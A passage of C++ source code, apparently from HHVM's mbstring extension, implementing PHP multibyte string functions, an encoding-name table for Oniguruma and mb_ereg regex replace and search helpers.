ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strlen, const String& str, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string string; mbfl_string_init(&string); string.val = (unsigned char *)str.data(); string.len = str.size(); string.no_language = MBSTRG(current_language); if (encoding.empty()) { string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; } else { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int n = mbfl_strlen(&string); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strpos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (offset < 0 || offset > mbfl_strlen(&mbs_haystack)) { raise_warning("Offset not contained in string."); return false; } if (mbs_needle.len == 0) { raise_warning("Empty delimiter."); return false; } int reverse = 0; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, offset, reverse); if (n >= 0) { return n; } switch (-n) { case 1: break; case 2: raise_warning("Needle has not positive length."); break; case 4: raise_warning("Unknown encoding or conversion error."); break; case 8: raise_warning("Argument is empty."); break; default: raise_warning("Unknown error in mb_strpos."); break; } return false; } Variant HHVM_FUNCTION(mb_strrpos, const String& haystack, const String& needle, const Variant& offset /* = 0LL */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); // This hack is so that if the caller puts the encoding in the offset field we // attempt to detect it and use that as the encoding. Ick. const char *enc_name = encoding.data(); long noffset = 0; String soffset = offset.toString(); if (offset.isString()) { enc_name = soffset.data(); int str_flg = 1; if (enc_name != nullptr) { switch (*enc_name) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case ' ': case '-': case '.': break; default : str_flg = 0; break; } } if (str_flg) { noffset = offset.toInt32(); enc_name = encoding.data(); } } else { noffset = offset.toInt32(); } if (enc_name != nullptr && *enc_name) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(enc_name); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", enc_name); return false; } } if (mbs_haystack.len <= 0) { return false; } if (mbs_needle.len <= 0) { return false; } if ((noffset > 0 && noffset > mbfl_strlen(&mbs_haystack)) || (noffset < 0 && -noffset > mbfl_strlen(&mbs_haystack))) { raise_notice("Offset is greater than the length of haystack string"); return false; } int n = mbfl_strpos(&mbs_haystack, &mbs_needle, noffset, 1); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strrchr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_haystack.len <= 0) { return false; } if (mbs_needle.len <= 0) { return false; } mbfl_string result, *ret = nullptr; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, 0, 1); if (n >= 0) { int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strrichr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); return false; } int n = php_mb_stripos(1, (const char*)mbs_haystack.val, mbs_haystack.len, (const char*)mbs_needle.val, mbs_needle.len, 0, from_encoding); if (n < 0) { return false; } mbfl_string result, *ret = nullptr; int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strstr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_needle.len <= 0) { raise_warning("Empty delimiter."); return false; } mbfl_string result, *ret = nullptr; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, 0, 0); if (n >= 0) { int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } const StaticString s_utf_8("utf-8"); /** * Fast check for the most common form of the UTF-8 encoding identifier. */ ALWAYS_INLINE static bool isUtf8(const Variant& encoding) { return encoding.getStringDataOrNull() == s_utf_8.get(); } /** * Given a byte sequence, return * 0 if it contains bytes >= 128 (thus non-ASCII), else * -1 if it contains any upper-case character ('A'-'Z'), else * 1 (and thus is a lower-case ASCII string). */ ALWAYS_INLINE static int isUtf8AsciiLower(folly::StringPiece s) { const auto bytelen = s.size(); bool caseOK = true; for (uint32_t i = 0; i < bytelen; ++i) { uint8_t byte = s[i]; if (byte >= 128) { return 0; } else if (byte <= 'Z' && byte >= 'A') { caseOK = false; } } return caseOK ? 1 : -1; } /** * Return a string containing the lower-case of a given ASCII string. */ ALWAYS_INLINE static StringData* asciiToLower(const StringData* s) { const auto size = s->size(); auto ret = StringData::Make(s, CopyString); auto output = ret->mutableData(); for (int i = 0; i < size; ++i) { auto& c = output[i]; if (c <= 'Z' && c >= 'A') { c |= 0x20; } } ret->invalidateHash(); // We probably modified it. return ret; } /* Like isUtf8AsciiLower, but with upper/lower swapped. */ ALWAYS_INLINE static int isUtf8AsciiUpper(folly::StringPiece s) { const auto bytelen = s.size(); bool caseOK = true; for (uint32_t i = 0; i < bytelen; ++i) { uint8_t byte = s[i]; if (byte >= 128) { return 0; } else if (byte >= 'a' && byte <= 'z') { caseOK = false; } } return caseOK ? 1 : -1; } /* Like asciiToLower, but with upper/lower swapped. */ ALWAYS_INLINE static StringData* asciiToUpper(const StringData* s) { const auto size = s->size(); auto ret = StringData::Make(s, CopyString); auto output = ret->mutableData(); for (int i = 0; i < size; ++i) { auto& c = output[i]; if (c >= 'a' && c <= 'z') { c -= (char)0x20; } } ret->invalidateHash(); // We probably modified it. return ret; } Variant HHVM_FUNCTION(mb_strtolower, const String& str, const Variant& opt_encoding) { /* Fast-case for empty static string without dereferencing any pointers. */ if (str.get() == staticEmptyString()) return empty_string_variant(); if (LIKELY(isUtf8(opt_encoding))) { /* Fast-case for ASCII. */ if (auto sd = str.get()) { auto sl = sd->slice(); auto r = isUtf8AsciiLower(sl); if (r > 0) { return str; } else if (r < 0) { return String::attach(asciiToLower(sd)); } } } const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(PHP_UNICODE_CASE_LOWER, str.data(), str.size(), &ret_len, from_encoding); if (newstr) { return String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strtoupper, const String& str, const Variant& opt_encoding) { /* Fast-case for empty static string without dereferencing any pointers. */ if (str.get() == staticEmptyString()) return empty_string_variant(); if (LIKELY(isUtf8(opt_encoding))) { /* Fast-case for ASCII. */ if (auto sd = str.get()) { auto sl = sd->slice(); auto r = isUtf8AsciiUpper(sl); if (r > 0) { return str; } else if (r < 0) { return String::attach(asciiToUpper(sd)); } } } const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(PHP_UNICODE_CASE_UPPER, str.data(), str.size(), &ret_len, from_encoding); if (newstr) { return String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strwidth, const String& str, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string string; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if (!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int n = mbfl_strwidth(&string); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_substitute_character, const Variant& substrchar /* = uninit_variant */) { if (substrchar.isNull()) { switch (MBSTRG(current_filter_illegal_mode)) { case MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE: return "none"; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG: return "long"; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY: return "entity"; default: return MBSTRG(current_filter_illegal_substchar); } } if (substrchar.isString()) { String s = substrchar.toString(); if (strcasecmp("none", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE; return true; } if (strcasecmp("long", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG; return true; } if (strcasecmp("entity", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY; return true; } } int64_t n = substrchar.toInt64(); if (n < 0xffff && n > 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR; MBSTRG(current_filter_illegal_substchar) = n; } else { raise_warning("Unknown character."); return false; } return true; } Variant HHVM_FUNCTION(mb_substr_count, const String& haystack, const String& needle, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_needle.len <= 0) { raise_warning("Empty substring."); return false; } int n = mbfl_substr_count(&mbs_haystack, &mbs_needle); if (n >= 0) { return n; } return false; } /////////////////////////////////////////////////////////////////////////////// // regex helpers typedef struct _php_mb_regex_enc_name_map_t { const char *names; OnigEncoding code; } php_mb_regex_enc_name_map_t; static php_mb_regex_enc_name_map_t enc_name_map[] ={ { "EUC-JP\0EUCJP\0X-EUC-JP\0UJIS\0EUCJP\0EUCJP-WIN\0", ONIG_ENCODING_EUC_JP }, { "UTF-8\0UTF8\0", ONIG_ENCODING_UTF8 }, { "UTF-16\0UTF-16BE\0", ONIG_ENCODING_UTF16_BE }, { "UTF-16LE\0", ONIG_ENCODING_UTF16_LE }, { "UCS-4\0UTF-32\0UTF-32BE\0", ONIG_ENCODING_UTF32_BE }, { "UCS-4LE\0UTF-32LE\0", ONIG_ENCODING_UTF32_LE }, { "SJIS\0CP932\0MS932\0SHIFT_JIS\0SJIS-WIN\0WINDOWS-31J\0", ONIG_ENCODING_SJIS }, { "BIG5\0BIG-5\0BIGFIVE\0CN-BIG5\0BIG-FIVE\0", ONIG_ENCODING_BIG5 }, { "EUC-CN\0EUCCN\0EUC_CN\0GB-2312\0GB2312\0", ONIG_ENCODING_EUC_CN }, { "EUC-TW\0EUCTW\0EUC_TW\0", ONIG_ENCODING_EUC_TW }, { "EUC-KR\0EUCKR\0EUC_KR\0", ONIG_ENCODING_EUC_KR }, { "KOI8R\0KOI8-R\0KOI-8R\0", ONIG_ENCODING_KOI8_R }, { "ISO-8859-1\0ISO8859-1\0ISO_8859_1\0ISO8859_1\0", ONIG_ENCODING_ISO_8859_1 }, { "ISO-8859-2\0ISO8859-2\0ISO_8859_2\0ISO8859_2\0", ONIG_ENCODING_ISO_8859_2 }, { "ISO-8859-3\0ISO8859-3\0ISO_8859_3\0ISO8859_3\0", ONIG_ENCODING_ISO_8859_3 }, { "ISO-8859-4\0ISO8859-4\0ISO_8859_4\0ISO8859_4\0", ONIG_ENCODING_ISO_8859_4 }, { "ISO-8859-5\0ISO8859-5\0ISO_8859_5\0ISO8859_5\0", ONIG_ENCODING_ISO_8859_5 }, { "ISO-8859-6\0ISO8859-6\0ISO_8859_6\0ISO8859_6\0", ONIG_ENCODING_ISO_8859_6 }, { "ISO-8859-7\0ISO8859-7\0ISO_8859_7\0ISO8859_7\0", ONIG_ENCODING_ISO_8859_7 }, { "ISO-8859-8\0ISO8859-8\0ISO_8859_8\0ISO8859_8\0", ONIG_ENCODING_ISO_8859_8 }, { "ISO-8859-9\0ISO8859-9\0ISO_8859_9\0ISO8859_9\0", ONIG_ENCODING_ISO_8859_9 }, { "ISO-8859-10\0ISO8859-10\0ISO_8859_10\0ISO8859_10\0", ONIG_ENCODING_ISO_8859_10 }, { "ISO-8859-11\0ISO8859-11\0ISO_8859_11\0ISO8859_11\0", ONIG_ENCODING_ISO_8859_11 }, { "ISO-8859-13\0ISO8859-13\0ISO_8859_13\0ISO8859_13\0", ONIG_ENCODING_ISO_8859_13 }, { "ISO-8859-14\0ISO8859-14\0ISO_8859_14\0ISO8859_14\0", ONIG_ENCODING_ISO_8859_14 }, { "ISO-8859-15\0ISO8859-15\0ISO_8859_15\0ISO8859_15\0", ONIG_ENCODING_ISO_8859_15 }, { "ISO-8859-16\0ISO8859-16\0ISO_8859_16\0ISO8859_16\0", ONIG_ENCODING_ISO_8859_16 }, { "ASCII\0US-ASCII\0US_ASCII\0ISO646\0", ONIG_ENCODING_ASCII }, { nullptr, ONIG_ENCODING_UNDEF } }; static OnigEncoding php_mb_regex_name2mbctype(const char *pname) { const char *p; php_mb_regex_enc_name_map_t *mapping; if (pname == nullptr) { return ONIG_ENCODING_UNDEF; } for (mapping = enc_name_map; mapping->names != nullptr; mapping++) { for (p = mapping->names; *p != '\0'; p += (strlen(p) + 1)) { if (strcasecmp(p, pname) == 0) { return mapping->code; } } } return ONIG_ENCODING_UNDEF; } static const char *php_mb_regex_mbctype2name(OnigEncoding mbctype) { php_mb_regex_enc_name_map_t *mapping; for (mapping = enc_name_map; mapping->names != nullptr; mapping++) { if (mapping->code == mbctype) { return mapping->names; } } return nullptr; } /* * regex cache */ static php_mb_regex_t *php_mbregex_compile_pattern(const String& pattern, OnigOptionType options, OnigEncoding enc, OnigSyntaxType *syntax) { int err_code = 0; OnigErrorInfo err_info; OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; php_mb_regex_t *rc = nullptr; std::string spattern = std::string(pattern.data(), pattern.size()); RegexCache &cache = MBSTRG(ht_rc); RegexCache::const_iterator it = cache.find(spattern); if (it != cache.end()) { rc = it->second; } if (!rc || onig_get_options(rc) != options || onig_get_encoding(rc) != enc || onig_get_syntax(rc) != syntax) { if (rc) { onig_free(rc); rc = nullptr; } if ((err_code = onig_new(&rc, (OnigUChar *)pattern.data(), (OnigUChar *)(pattern.data() + pattern.size()), options,enc, syntax, &err_info)) != ONIG_NORMAL) { onig_error_code_to_str(err_str, err_code, err_info); raise_warning("mbregex compile err: %s", err_str); return nullptr; } MBSTRG(ht_rc)[spattern] = rc; } return rc; } static size_t _php_mb_regex_get_option_string(char *str, size_t len, OnigOptionType option, OnigSyntaxType *syntax) { size_t len_left = len; size_t len_req = 0; char *p = str; char c; if ((option & ONIG_OPTION_IGNORECASE) != 0) { if (len_left > 0) { --len_left; *(p++) = 'i'; } ++len_req; } if ((option & ONIG_OPTION_EXTEND) != 0) { if (len_left > 0) { --len_left; *(p++) = 'x'; } ++len_req; } if ((option & (ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE)) == (ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE)) { if (len_left > 0) { --len_left; *(p++) = 'p'; } ++len_req; } else { if ((option & ONIG_OPTION_MULTILINE) != 0) { if (len_left > 0) { --len_left; *(p++) = 'm'; } ++len_req; } if ((option & ONIG_OPTION_SINGLELINE) != 0) { if (len_left > 0) { --len_left; *(p++) = 's'; } ++len_req; } } if ((option & ONIG_OPTION_FIND_LONGEST) != 0) { if (len_left > 0) { --len_left; *(p++) = 'l'; } ++len_req; } if ((option & ONIG_OPTION_FIND_NOT_EMPTY) != 0) { if (len_left > 0) { --len_left; *(p++) = 'n'; } ++len_req; } c = 0; if (syntax == ONIG_SYNTAX_JAVA) { c = 'j'; } else if (syntax == ONIG_SYNTAX_GNU_REGEX) { c = 'u'; } else if (syntax == ONIG_SYNTAX_GREP) { c = 'g'; } else if (syntax == ONIG_SYNTAX_EMACS) { c = 'c'; } else if (syntax == ONIG_SYNTAX_RUBY) { c = 'r'; } else if (syntax == ONIG_SYNTAX_PERL) { c = 'z'; } else if (syntax == ONIG_SYNTAX_POSIX_BASIC) { c = 'b'; } else if (syntax == ONIG_SYNTAX_POSIX_EXTENDED) { c = 'd'; } if (c != 0) { if (len_left > 0) { --len_left; *(p++) = c; } ++len_req; } if (len_left > 0) { --len_left; *(p++) = '\0'; } ++len_req; if (len < len_req) { return len_req; } return 0; } static void _php_mb_regex_init_options(const char *parg, int narg, OnigOptionType *option, OnigSyntaxType **syntax, int *eval) { int n; char c; int optm = 0; *syntax = ONIG_SYNTAX_RUBY; if (parg != nullptr) { n = 0; while (n < narg) { c = parg[n++]; switch (c) { case 'i': optm |= ONIG_OPTION_IGNORECASE; break; case 'x': optm |= ONIG_OPTION_EXTEND; break; case 'm': optm |= ONIG_OPTION_MULTILINE; break; case 's': optm |= ONIG_OPTION_SINGLELINE; break; case 'p': optm |= ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE; break; case 'l': optm |= ONIG_OPTION_FIND_LONGEST; break; case 'n': optm |= ONIG_OPTION_FIND_NOT_EMPTY; break; case 'j': *syntax = ONIG_SYNTAX_JAVA; break; case 'u': *syntax = ONIG_SYNTAX_GNU_REGEX; break; case 'g': *syntax = ONIG_SYNTAX_GREP; break; case 'c': *syntax = ONIG_SYNTAX_EMACS; break; case 'r': *syntax = ONIG_SYNTAX_RUBY; break; case 'z': *syntax = ONIG_SYNTAX_PERL; break; case 'b': *syntax = ONIG_SYNTAX_POSIX_BASIC; break; case 'd': *syntax = ONIG_SYNTAX_POSIX_EXTENDED; break; case 'e': if (eval != nullptr) *eval = 1; break; default: break; } } if (option != nullptr) *option|=optm; } } /////////////////////////////////////////////////////////////////////////////// // regex functions bool HHVM_FUNCTION(mb_ereg_match, const String& pattern, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); OnigSyntaxType *syntax; OnigOptionType noption = 0; if (!option.empty()) { _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } else { noption |= MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } php_mb_regex_t *re; if ((re = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } /* match */ int err = onig_match(re, (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), (OnigUChar *)str.data(), nullptr, 0); return err >= 0; } static Variant _php_mb_regex_ereg_replace_exec(const Variant& pattern, const String& replacement, const String& str, const String& option, OnigOptionType options) { const char *p; php_mb_regex_t *re; OnigSyntaxType *syntax; OnigRegion *regs = nullptr; StringBuffer out_buf; int i, err, eval, n; OnigUChar *pos; OnigUChar *string_lim; char pat_buf[2]; const mbfl_encoding *enc; { const char *current_enc_name; current_enc_name = php_mb_regex_mbctype2name(MBSTRG(current_mbctype)); if (current_enc_name == nullptr || (enc = mbfl_name2encoding(current_enc_name)) == nullptr) { raise_warning("Unknown error"); return false; } } eval = 0; { if (!option.empty()) { _php_mb_regex_init_options(option.data(), option.size(), &options, &syntax, &eval); } else { options |= MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } } String spattern; if (pattern.isString()) { spattern = pattern.toString(); } else { /* FIXME: this code is not multibyte aware! */ pat_buf[0] = pattern.toByte(); pat_buf[1] = '\0'; spattern = String(pat_buf, 1, CopyString); } /* create regex pattern buffer */ re = php_mbregex_compile_pattern(spattern, options, MBSTRG(current_mbctype), syntax); if (re == nullptr) { return false; } if (eval) { throw_not_supported("ereg_replace", "dynamic coding"); } /* do the actual work */ err = 0; pos = (OnigUChar*)str.data(); string_lim = (OnigUChar*)(str.data() + str.size()); regs = onig_region_new(); while (err >= 0) { err = onig_search(re, (OnigUChar *)str.data(), (OnigUChar *)string_lim, pos, (OnigUChar *)string_lim, regs, 0); if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure: %s", err_str); break; } if (err >= 0) { #if moriyoshi_0 if (regs->beg[0] == regs->end[0]) { raise_warning("Empty regular expression"); break; } #endif /* copy the part of the string before the match */ out_buf.append((const char *)pos, (OnigUChar *)(str.data() + regs->beg[0]) - pos); /* copy replacement and backrefs */ i = 0; p = replacement.data(); while (i < replacement.size()) { int fwd = (int)php_mb_mbchar_bytes_ex(p, enc); n = -1; if ((replacement.size() - i) >= 2 && fwd == 1 && p[0] == '\\' && p[1] >= '0' && p[1] <= '9') { n = p[1] - '0'; } if (n >= 0 && n < regs->num_regs) { if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= str.size()) { out_buf.append(str.data() + regs->beg[n], regs->end[n] - regs->beg[n]); } p += 2; i += 2; } else { out_buf.append(p, fwd); p += fwd; i += fwd; } } n = regs->end[0]; if ((pos - (OnigUChar *)str.data()) < n) { pos = (OnigUChar *)(str.data() + n); } else { if (pos < string_lim) { out_buf.append((const char *)pos, 1); } pos++; } } else { /* nomatch */ /* stick that last bit of string on our output */ if (string_lim - pos > 0) { out_buf.append((const char *)pos, string_lim - pos); } } onig_region_free(regs, 0); } if (regs != nullptr) { onig_region_free(regs, 1); } if (err <= -2) { return false; } return out_buf.detach(); } Variant HHVM_FUNCTION(mb_ereg_replace, const Variant& pattern, const String& replacement, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); return _php_mb_regex_ereg_replace_exec(pattern, replacement, str, option, 0); } Variant HHVM_FUNCTION(mb_eregi_replace, const Variant& pattern, const String& replacement, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); return _php_mb_regex_ereg_replace_exec(pattern, replacement, str, option, ONIG_OPTION_IGNORECASE); } int64_t HHVM_FUNCTION(mb_ereg_search_getpos) { return MBSTRG(search_pos); } bool HHVM_FUNCTION(mb_ereg_search_setpos, int position) { if (position < 0 || position >= (int)MBSTRG(search_str).size()) { raise_warning("Position is out of range"); MBSTRG(search_pos) = 0; return false; } MBSTRG(search_pos) = position; return true; } Variant HHVM_FUNCTION(mb_ereg_search_getregs) { OnigRegion *search_regs = MBSTRG(search_regs); if (search_regs && !MBSTRG(search_str).empty()) { Array ret; OnigUChar *str = (OnigUChar *)MBSTRG(search_str).data(); int len = MBSTRG(search_str).size(); int n = search_regs->num_regs; for (int i = 0; i < n; i++) { int beg = search_regs->beg[i]; int end = search_regs->end[i]; if (beg >= 0 && beg <= end && end <= len) { ret.append(String((const char *)(str + beg), end - beg, CopyString)); } else { ret.append(false); } } return ret; } return false; } bool HHVM_FUNCTION(mb_ereg_search_init, const String& str, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); OnigOptionType noption = MBSTRG(regex_default_options); OnigSyntaxType *syntax = MBSTRG(regex_default_syntax); if (!option.empty()) { noption = 0; _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } if (!pattern.empty()) { if ((MBSTRG(search_re) = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } } MBSTRG(search_str) = std::string(str.data(), str.size()); MBSTRG(search_pos) = 0; if (MBSTRG(search_regs) != nullptr) { onig_region_free(MBSTRG(search_regs), 1); MBSTRG(search_regs) = (OnigRegion *)nullptr; } return true; } /* regex search */ static Variant _php_mb_regex_ereg_search_exec(const String& pattern, const String& option, int mode) { int n, i, err, pos, len, beg, end; OnigUChar *str; OnigSyntaxType *syntax = MBSTRG(regex_default_syntax); OnigOptionType noption; noption = MBSTRG(regex_default_options); if (!option.empty()) { noption = 0; _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } if (!pattern.empty()) { if ((MBSTRG(search_re) = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } } pos = MBSTRG(search_pos); str = nullptr; len = 0; if (!MBSTRG(search_str).empty()) { str = (OnigUChar *)MBSTRG(search_str).data(); len = MBSTRG(search_str).size(); } if (MBSTRG(search_re) == nullptr) { raise_warning("No regex given"); return false; } if (str == nullptr) { raise_warning("No string given"); return false; } if (MBSTRG(search_regs)) { onig_region_free(MBSTRG(search_regs), 1); } MBSTRG(search_regs) = onig_region_new(); err = onig_search(MBSTRG(search_re), str, str + len, str + pos, str + len, MBSTRG(search_regs), 0); Variant ret; if (err == ONIG_MISMATCH) { MBSTRG(search_pos) = len; ret = false; } else if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure in mbregex_search(): %s", err_str); ret = false; } else { if (MBSTRG(search_regs)->beg[0] == MBSTRG(search_regs)->end[0]) { raise_warning("Empty regular expression"); } switch (mode) { case 1: { beg = MBSTRG(search_regs)->beg[0]; end = MBSTRG(search_regs)->end[0]; ret = make_packed_array(beg, end - beg); } break; case 2: n = MBSTRG(search_regs)->num_regs; ret = Variant(Array::Create()); for (i = 0; i < n; i++) { beg = MBSTRG(search_regs)->beg[i]; end = MBSTRG(search_regs)->end[i]; if (beg >= 0 && beg <= end 